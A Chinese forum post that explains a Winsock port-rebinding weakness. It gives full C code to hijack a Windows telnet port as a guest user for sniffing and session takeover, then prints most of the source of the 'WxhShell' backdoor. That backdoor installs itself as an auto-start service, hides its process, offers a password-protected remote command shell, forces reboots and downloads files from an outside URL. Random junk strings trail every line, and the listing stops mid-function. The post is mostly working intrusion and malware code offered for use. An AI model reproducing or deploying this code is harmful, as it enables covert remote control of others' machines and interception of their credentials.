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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CW&.NT  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `=lc<T^  
R?o$Y6}5  
  saddr.sin_family = AF_INET; 5=|hC3h  
r|u MovnV  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =O).Lx2J  
#_93f |  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7!WA)@6  
q 11IkDa  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /U&Opo {aO  
ZyrI R  
  这意味着什么?意味着可以进行如下的攻击: 6 Orum/|h  
kE9esC 3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6 5N~0t  
F8:vDv  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^T"vX  
y*pUlts<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 W\&8au ds  
0j"8@<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  E :9"cxx  
]vWKR."4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ydRC1~f0  
- K9c@?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 m< _S_c  
NS%WeAf  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7(5xL T$  
u/cg|]x&T  
  #include /x_o!<M  
  #include &e 6CJ  
  #include OQW#a[=WQ  
  #include    Tq]Sn]CSP  
  DWORD WINAPI ClientThread(LPVOID lpParam);   a}%#*J)!  
  int main() 3s/H2f z  
  { + s- lCz  
  WORD wVersionRequested; }:X*7 n(&  
  DWORD ret; LaQ-=;(`  
  WSADATA wsaData; q#<^^4U  
  BOOL val; 1pArZzm>  
  SOCKADDR_IN saddr; u%w`:v7Yo(  
  SOCKADDR_IN scaddr; {}3${  
  int err; 'nXl>  
  SOCKET s; yzqVz_Fi*W  
  SOCKET sc; kS bu]AB  
  int caddsize; cWoPB _  
  HANDLE mt; `s\?w5[  
  DWORD tid;   "jG}B.l=,  
  wVersionRequested = MAKEWORD( 2, 2 ); N[s}qmPha  
  err = WSAStartup( wVersionRequested, &wsaData ); vI>>\ .ED  
  if ( err != 0 ) { {q"OM*L(  
  printf("error!WSAStartup failed!\n"); !o:f$6EA~C  
  return -1; &YF^j2  
  } e" St_z(  
  saddr.sin_family = AF_INET; SHe49!RA'{  
   _lamn }(x0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 mIK7p6  
|Y?H A&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "wNJ  
  saddr.sin_port = htons(23); 7Zlw^'q$:L  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Wk)OkIFR  
  { D)L+7N0D~  
  printf("error!socket failed!\n"); HMSO=)@+  
  return -1; vEJWFoeEFm  
  } E*]bgD7V  
  val = TRUE; gt@m?w(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 wOU_*uY@6'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G3Z)Z) N  
  { RZXjgddL  
  printf("error!setsockopt failed!\n"); E=nIRG|g  
  return -1; <J) ]mh dm  
  } YNQY4\(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; aDU<wxnSvO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 E|iQc8gr&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 i<#QW'R(  
'Gj3:-xqL  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Sc;BCl{=|  
  { ]s<[D$ <,  
  ret=GetLastError(); AE[b},-[  
  printf("error!bind failed!\n"); \NPmym_ 6J  
  return -1; ]'&LGA`  
  } k>;`FFQU>  
  listen(s,2); F1*>y  
  while(1) *\ R ]NV  
  { EJMM9(DQ7  
  caddsize = sizeof(scaddr); os=e|vkB*  
  //接受连接请求 %)1y AdG 8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g6j?,c|y  
  if(sc!=INVALID_SOCKET) :D~DU,e'  
  { Cd#(X@n  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0X6YdW_2X  
  if(mt==NULL) xF!,IKlBBp  
  { ]cHgleHQ  
  printf("Thread Creat Failed!\n"); ]_f_w 9]  
  break; &u$Q4  
  } cr7 }^s  
  } 5_GYrR2  
  CloseHandle(mt); ,wQ5.U,  
  } %O|iE M  
  closesocket(s); dqU~`b9  
  WSACleanup(); fK>L!=Q  
  return 0; YvaK0p0Z  
  }   IaSR;/  
  DWORD WINAPI ClientThread(LPVOID lpParam) f,U.7E  
  { <sb~ ^B  
  SOCKET ss = (SOCKET)lpParam; =W(Q34  
  SOCKET sc; u-QB.iQ+s  
  unsigned char buf[4096]; G/)O@Ugp  
  SOCKADDR_IN saddr; |3(' N#|  
  long num; R`NYEptJ  
  DWORD val; f z'@_4hg  
  DWORD ret; rD*jp6Cl  
  //如果是隐藏端口应用的话,可以在此处加一些判断 p_RsU`[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;AG8C#_  
  saddr.sin_family = AF_INET; >FeX<L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); c[0}AG J  
  saddr.sin_port = htons(23); Ouk ^O}W6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5AFJC?   
  { pC#E_*49  
  printf("error!socket failed!\n"); D}-/c"':}  
  return -1; \j$&DCv   
  } Hus)c3Ty7  
  val = 100; ik)|{%!K]H  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /:cd\A}  
  { LQ@"Xe]5  
  ret = GetLastError(); #|uCgdi  
  return -1; 0CHH)Bku  
  } g_;\iqxL  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NDN7[7E  
  { `}p0VmD{NE  
  ret = GetLastError(); { a =#B)6  
  return -1; `aOFs+<)  
  } 3/P1!:g9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) lov!o: dJ  
  { =O~_Q-  
  printf("error!socket connect failed!\n"); ]=\].% >  
  closesocket(sc); ?>VLTp8]  
  closesocket(ss); dn& s*  
  return -1; W8G,=d}6  
  } b!+hH Hv:  
  while(1) wi!?BCseq  
  { T6'^EZZY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ><4<yj1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 EfqX y>W  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 T~-ycVc  
  num = recv(ss,buf,4096,0); pJ>P[  
  if(num>0) +5)nk}  
  send(sc,buf,num,0); 2_>N/Z4T  
  else if(num==0) 1 s\Wtw:  
  break; QRw"H 8nW  
  num = recv(sc,buf,4096,0); kj Jn2c:y  
  if(num>0) aHD]k8 m z  
  send(ss,buf,num,0); 9p]QM)M  
  else if(num==0) M*0]ai|;  
  break; d z|or9&  
  } T9=I$@/  
  closesocket(ss); VG5i{1  0  
  closesocket(sc); j/DzCcp7  
  return 0 ; 6%'QjwM_  
  } IW5,7.  
.e#w)K  
hDDn,uzpd  
========================================================== /'SNw?&  
Cp\6W[2+B  
下边附上一个代码,,WXhSHELL y RqL9t  
PrqlTT}Px  
========================================================== l]5K N  
,~U>'&M;  
#include "stdafx.h" soxc0OlN  
1C+13LE$U  
#include <stdio.h> p T?}Kc  
#include <string.h> RH W]Z Pr<  
#include <windows.h> }RF(CwZr(  
#include <winsock2.h> )$2QZ qX  
#include <winsvc.h> )D O?VRI  
#include <urlmon.h> 8S TvCH"Z_  
L(6d&t'|-R  
#pragma comment (lib, "Ws2_32.lib") gT. sj d  
#pragma comment (lib, "urlmon.lib") |"}FXa O  
~12EQacOT  
#define MAX_USER   100 // 最大客户端连接数 fgTg7 m  
#define BUF_SOCK   200 // sock buffer ]h`&&Bqt  
#define KEY_BUFF   255 // 输入 buffer |d2SIyUc  
K-)] 1BG  
#define REBOOT     0   // 重启 J3V= 46Yc  
#define SHUTDOWN   1   // 关机 c^xIm'eob  
z _$%-6  
#define DEF_PORT   5000 // 监听端口 5vQHhwO50k  
7~h<$8Y(T  
#define REG_LEN     16   // 注册表键长度 ;+R&}[9,A)  
#define SVC_LEN     80   // NT服务名长度 XX TL..  
P= BZ+6DS  
// 从dll定义API 6Igz:eX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1ba~SHi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J[|y:N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /{J4:N'B>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t.y2ff<[U  
NN{?z!  
// wxhshell配置信息 >h9I M$2  
struct WSCFG { 9<?M8_  
  int ws_port;         // 监听端口 e)k9dOR  
  char ws_passstr[REG_LEN]; // 口令 HyQJXw?A:  
  int ws_autoins;       // 安装标记, 1=yes 0=no e2Pcm_Ahv*  
  char ws_regname[REG_LEN]; // 注册表键名 x8B}ZIbT9  
  char ws_svcname[REG_LEN]; // 服务名 5 V~oIL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QVT5}OzMt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8 FK/~,I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ml{,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $)i")=Hy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Mj3A5;#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EJ.SW5  
2jItq2.>  
}; eKgBy8tNS0  
,-LwtePJ0  
// default Wxhshell configuration >2)OiQ`zg  
struct WSCFG wscfg={DEF_PORT, [S%_In   
    "xuhuanlingzhe", H2\;%K 2  
    1, )EuvRLo{S7  
    "Wxhshell", -Cpl?Io`r5  
    "Wxhshell", f}ji?p  
            "WxhShell Service", {4}yKjW%z  
    "Wrsky Windows CmdShell Service", 9&2O 9Nz6  
    "Please Input Your Password: ", [!uG1GJ>  
  1, 4B1v4g8}  
  "http://www.wrsky.com/wxhshell.exe", rU:`*b<  
  "Wxhshell.exe" 'F3f+YD  
    }; nNV'O(x}  
/9*B)m"  
// 消息定义模块 (N6i4 g6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^7cGq+t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [PM 2\#K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `2WFk8) F  
char *msg_ws_ext="\n\rExit."; 6I4\q.^qw  
char *msg_ws_end="\n\rQuit."; qJs<#MQ2  
char *msg_ws_boot="\n\rReboot..."; Y_IF;V\  
char *msg_ws_poff="\n\rShutdown..."; 1CD+B=pQG  
char *msg_ws_down="\n\rSave to "; Yui3+}Ms  
85$m[+md  
char *msg_ws_err="\n\rErr!"; #4% ]o%.  
char *msg_ws_ok="\n\rOK!"; |bHelD|  
[wOn|)& &  
char ExeFile[MAX_PATH]; BLdvyVFx  
int nUser = 0; CS5?Ti6  
HANDLE handles[MAX_USER]; BwGfTua  
int OsIsNt; ;-lXU0}&  
rSk >  
SERVICE_STATUS       serviceStatus; LVfF[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Lc,Pom  
m+R[#GE8#  
// 函数声明 |Nn)m  
int Install(void); "@@u3`#  
int Uninstall(void); `Bp.RXsd*  
int DownloadFile(char *sURL, SOCKET wsh); :yr+vcD?  
int Boot(int flag); Xm}/0g&7  
void HideProc(void); ;>yxNGV`  
int GetOsVer(void); y/{fX(aV  
int Wxhshell(SOCKET wsl); nZyX|SPk  
void TalkWithClient(void *cs); x%m%_2%Z  
int CmdShell(SOCKET sock); H3 ^},.  
int StartFromService(void); <tNBxa$gS  
int StartWxhshell(LPSTR lpCmdLine); oy=js -  
.CABH,Po:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y'S%O/$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,t?B+$E  
^z IW+:  
// 数据结构和表定义 O)*+="Rg  
SERVICE_TABLE_ENTRY DispatchTable[] = 3 *"WG O5  
{ XkE`U5.  
{wscfg.ws_svcname, NTServiceMain}, {j?FNOJn  
{NULL, NULL} 5h=}j  
}; u<tbbKM  
*=/ { HvJ  
// 自我安装 {9&;Q|D z  
int Install(void) +NZ_D#u  
{ i(%W_d!  
  char svExeFile[MAX_PATH]; d9f C<Tp  
  HKEY key; WYm\)@  
  strcpy(svExeFile,ExeFile); r1`x=r   
[I,Z2G,Jb  
// 如果是win9x系统,修改注册表设为自启动 eCU:Q  
if(!OsIsNt) { A Ru2W1g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BDW^7[n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8oy^Xc+  
  RegCloseKey(key); ~*&H$6NJS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VK\X&Y3l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HSE!x_$  
  RegCloseKey(key); r;.yz I  
  return 0; T= y}y  
    } PB\(=  
  } gZ3u=uME  
} 8sWJcmVo  
else { r"gJX  
/$xU  
// 如果是NT以上系统,安装为系统服务 c \J:![x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `_Zg3_K.dS  
if (schSCManager!=0) wY{-BuXv  
{ G#q@v(_b  
  SC_HANDLE schService = CreateService D(@S+r_ota  
  ( O'p9u@kc  
  schSCManager, T"}5}6rSG  
  wscfg.ws_svcname, O_ muD\  
  wscfg.ws_svcdisp, [\98$BN  
  SERVICE_ALL_ACCESS, #_ ;lf1x!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5FPM`hLT  
  SERVICE_AUTO_START, ~OYiq}g  
  SERVICE_ERROR_NORMAL, JQ_sUYh~3  
  svExeFile, zOAd~E  
  NULL, UawyDs  
  NULL, kYP#SH/  
  NULL, Fh&G;aEq  
  NULL, \j}ZB<.>  
  NULL h ohfE3rd  
  ); Fbr;{T .  
  if (schService!=0) 6m/r+?'  
  { w_"E*9  
  CloseServiceHandle(schService); e9Wa<i 8  
  CloseServiceHandle(schSCManager); cN-?l7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +5g_KS  
  strcat(svExeFile,wscfg.ws_svcname); z3{G9Np  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]Grek<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]NQfX[  
  RegCloseKey(key); :%_LpZ  
  return 0; U*rcd-@  
    } WH#1 zv  
  } L~(j3D* 3  
  CloseServiceHandle(schSCManager); kf\PioD8  
} ^&9zw\x;z  
} + B,}Qr  
IEL%!RFG  
return 1; wyH[x!QX  
} gs^Xf;g vI  
F$y$'Rzu_B  
// 自我卸载 kYE9M8s;  
int Uninstall(void) kP=eW_0D  
{ rK 8lBy:<  
  HKEY key; B-RjMxX4>  
W<h)HhyG  
if(!OsIsNt) { hk;5w{t}}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f=+mIZ  
  RegDeleteValue(key,wscfg.ws_regname); ; }I:\P  
  RegCloseKey(key); WMDl=6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >>4qJ%bL  
  RegDeleteValue(key,wscfg.ws_regname); @W.S6;GA\  
  RegCloseKey(key); h6Ub}(Ov  
  return 0; z#9aP&8Q  
  }  C#.->\  
} w0 M>[ 4  
} xJpA0_xfG  
else { (' (K9@}  
P_^ +A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A;q9rD,_  
if (schSCManager!=0) 4!{KWL`A  
{ -u+vJ6EY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )EPjAv  
  if (schService!=0) {S]}.7`l9(  
  { nQZx= JK  
  if(DeleteService(schService)!=0) { LtO!umM  
  CloseServiceHandle(schService); @,j*wnR  
  CloseServiceHandle(schSCManager); -vo})lO  
  return 0; oi7@s0@  
  } UkwP  
  CloseServiceHandle(schService); 6xmZXp d!  
  } *uRBzO}  
  CloseServiceHandle(schSCManager); #FLb*%Nr  
} D(op)]8  
} biD$qg  
)2KF}{  
return 1; 79rD7D&g  
} [o#oa k{U  
,Q$ q=E;X  
// 从指定url下载文件 wD}l$ & +  
int DownloadFile(char *sURL, SOCKET wsh) & bm 1Fz  
{ ?/E~/;+7=  
  HRESULT hr; %bn jgy  
char seps[]= "/"; yf.~XUk^  
char *token;  M mj;-u  
char *file; |*eZD-f  
char myURL[MAX_PATH]; 8P\G }  
char myFILE[MAX_PATH]; Pl06:g2I  
6dr%;Wp  
strcpy(myURL,sURL); PcMD])Z{G  
  token=strtok(myURL,seps); pZ{+c  
  while(token!=NULL) |-67 \p]  
  { <]t%8GB2V  
    file=token; QD&`^(X1p  
  token=strtok(NULL,seps); u(.e8~s8  
  } B2vh-%63  
z=\&i\>;Z+  
GetCurrentDirectory(MAX_PATH,myFILE); %)8}X>xq  
strcat(myFILE, "\\"); ./Zk`-OBT  
strcat(myFILE, file); Lnl(2xD  
  send(wsh,myFILE,strlen(myFILE),0); K hR81\  
send(wsh,"...",3,0); @l5"nBs<_:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (UD@q>c  
  if(hr==S_OK) k/_ 59@)  
return 0; dh iuI|?@  
else E?f-wQF  
return 1; l}|%5.5-  
@+2=g WH  
} !X#OOqPr=  
!;v|'I  
// 系统电源模块 m4Qh%}9%  
int Boot(int flag) <8&au(I,vB  
{ a(X@Q8l:  
  HANDLE hToken; `UyG_;  
  TOKEN_PRIVILEGES tkp; '3tCH)s  
Xza(k  
  if(OsIsNt) { (*'f+R`$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &-6Gc;f8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2 c{34:  
    tkp.PrivilegeCount = 1; 9ULQrq$?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S!CC }3zw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WIxy}3_to  
if(flag==REBOOT) { qS$Ox?Bw#u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (NU NHxi5B  
  return 0; !>&o01i  
} `5.'_3  
else { z'n:@E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w+|L+h3L7  
  return 0; $szqy?i 0?  
} 5r|,CQ7o  
  } OX!tsARC@  
  else { n5NsmVW\x  
if(flag==REBOOT) { hd<c&7|G'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -<!NXm|kvz  
  return 0; }B+C~@j  
} j{A y\n(  
else { $k%2J9O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7(8;t o6(  
  return 0; BC.87Fji/  
} _C?hHWSf"  
} E6ElNgL  
hx%v+/  
return 1; Rtl"Ub@HV  
} (m/G(wg  
WX?IYQ+  
// win9x进程隐藏模块 k$R-#f;  
void HideProc(void) sIGMA$EK  
{ S`0(*A[W*  
u|TeE\0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a~}OZ&PG  
  if ( hKernel != NULL ) 1};Stai'  
  { 9}<ile7^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <0&*9ZeD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  "Og7rl  
    FreeLibrary(hKernel); pJ"qu,w  
  } 0@iY:aF  
.}TZxla0Zr  
return; #rfiD%c  
} UECK:61Me  
f+,qNvBY/  
// 获取操作系统版本 [!#L6&:a8  
int GetOsVer(void) K`zdc`/  
{ m@v\(rT.  
  OSVERSIONINFO winfo; k"zv~`i'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )U:m:cr<  
  GetVersionEx(&winfo); 97C]+2R%^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c9 _ rmz8  
  return 1; agDM~=#F  
  else *H2r@)Y[~  
  return 0; k9 I%PH  
} k)=s>&hl  
jcf7n`L  
// 客户端句柄模块 F_{Yo?_  
int Wxhshell(SOCKET wsl) +.FEq*V  
{ E]n&=\  
  SOCKET wsh; H3=qe I  
  struct sockaddr_in client; s)D;a-F  
  DWORD myID; +_oJ}KI  
h]}wp;Z  
  while(nUser<MAX_USER) #gs`#6 ,'  
{ 29] G^f>  
  int nSize=sizeof(client); 08\, <9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eJX9_6m-  
  if(wsh==INVALID_SOCKET) return 1; _|I#{jK  
`e&Suyf4B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G}raA%  
if(handles[nUser]==0) }V`"s^  
  closesocket(wsh); sBg.u  
else ,<P vovg_  
  nUser++; 21l;\W  
  } :J&oX <nF^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z,p~z*4  
0pd'93C  
  return 0; 3~ {:`[0Q  
} p6Gy ,C.  
H40p86@M  
// 关闭 socket *P=VFP  
void CloseIt(SOCKET wsh) E4/Dr}4  
{ 3;{kJQ  
closesocket(wsh); mNTzUoZF'@  
nUser--; ;'@9[N9  
ExitThread(0); ~HsJUro  
} m&,(Jla  
`d`T*_  
// 客户端请求句柄 ^Y \"}D  
void TalkWithClient(void *cs) d^ 8ZeC#  
{ N<VJ(20y  
y??XIsF  
  SOCKET wsh=(SOCKET)cs; Cnh \%OW  
  char pwd[SVC_LEN]; X5$Iyis  
  char cmd[KEY_BUFF]; xY(*.T9K  
char chr[1]; dkTX  
int i,j; &n:.k}/P  
QlU8uI[dk  
  while (nUser < MAX_USER) { &B1WtW  
bK&+5t&  
if(wscfg.ws_passstr) { GGs}i1m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f r6 fj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {hrX'2:ClT  
  //ZeroMemory(pwd,KEY_BUFF); 33B]RGq  
      i=0; I,vJbvvl!  
  while(i<SVC_LEN) { c`w}|d]mC  
~=l;=7 T  
  // 设置超时 m&&m,6``P  
  fd_set FdRead; {_p_%;  
  struct timeval TimeOut; ( ^Nz9{  
  FD_ZERO(&FdRead); 5<Nx^D  
  FD_SET(wsh,&FdRead); = m#?neop  
  TimeOut.tv_sec=8; `+:`_4  
  TimeOut.tv_usec=0; &d^m 1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .}~_a76  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v`Oc,  
c,+:i1IAy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'I6i ,+D/q  
  pwd=chr[0]; M%P:n/j  
  if(chr[0]==0xd || chr[0]==0xa) { )1`0PJoHE  
  pwd=0; w_K1]<Q*  
  break; .p" xVfi6  
  } $DaNbLV  
  i++; r52gn(,  
    } 6mxfLlZ  
00~mOK;1  
  // 如果是非法用户,关闭 socket I:1C8*/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GH$pKB  
} S3 Xl  
=W!/Z%^*8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5K8^WK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $5%SNzzl  
q#9RW(o  
while(1) { f?X)k,m  
k=T\\]KxC  
  ZeroMemory(cmd,KEY_BUFF); ?J >  
7?w*]  
      // 自动支持客户端 telnet标准   6q.Uhe_B  
  j=0; d S V8q ,D  
  while(j<KEY_BUFF) { E""bTz@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F0Yd@Lk$_  
  cmd[j]=chr[0]; dJNe+ MB`  
  if(chr[0]==0xa || chr[0]==0xd) { n<R?ffy  
  cmd[j]=0; "'?>fe\qG  
  break; ^9:Z7 >Z  
  } 59;KQ  
  j++; pB0 \\wR  
    } ^WWQI+pk  
&7tbI5na@  
  // 下载文件 \bvfEP  
  if(strstr(cmd,"http://")) { &E5g3lf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'c$+sp ?  
  if(DownloadFile(cmd,wsh)) %YqEzlzF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p947w,1![  
  else m G YoM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b,1ePS  
  } s&3Vg7B  
  else { )oPBa  
bq0zxg%  
    switch(cmd[0]) { UH"%N)[  
  Em~>9f ?Q(  
  // 帮助 }`m/bgtFX  
  case '?': { Ao&"r[oJSv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YNsJZnGr8#  
    break; oj+hQ+>  
  } LyFN.2qw  
  // 安装 kc`Tdn  
  case 'i': { %:* YO;dw'  
    if(Install()) :& ."ttf=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tf`^v6m%]  
    else ds[|   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qF;|bF  
    break; 9V*qQS5<p  
    } /hyN;.hpOO  
  // 卸载 *VxgARIL  
  case 'r': { i?^L/b`H  
    if(Uninstall()) =U?dbSf1*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j/?kL{B  
    else X$W~mQma6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fVpMx4&F   
    break; u;2[AQ.  
    } GC}==^1  
  // 显示 wxhshell 所在路径 WdbedU~`Q  
  case 'p': { .3Oap*X  
    char svExeFile[MAX_PATH]; a<bwzX|.  
    strcpy(svExeFile,"\n\r"); T1=fNF  
      strcat(svExeFile,ExeFile); "@2-Zdrr1<  
        send(wsh,svExeFile,strlen(svExeFile),0); S;`A{Mow  
    break; Q>Yjy!. <^  
    } VRB;$  
  // 重启 ^s"R$?;h  
  case 'b': { ;>7De8v@@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I51@QJX  
    if(Boot(REBOOT)) NqWdRU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nZYBE030  
    else { /f;~X"!  
    closesocket(wsh); ak!G8'w  
    ExitThread(0); KJ4.4Zq{c  
    } P( 8OQL:  
    break; Qq|57X)P*  
    } FVJ GL  
  // 关机 Oxd]y1  
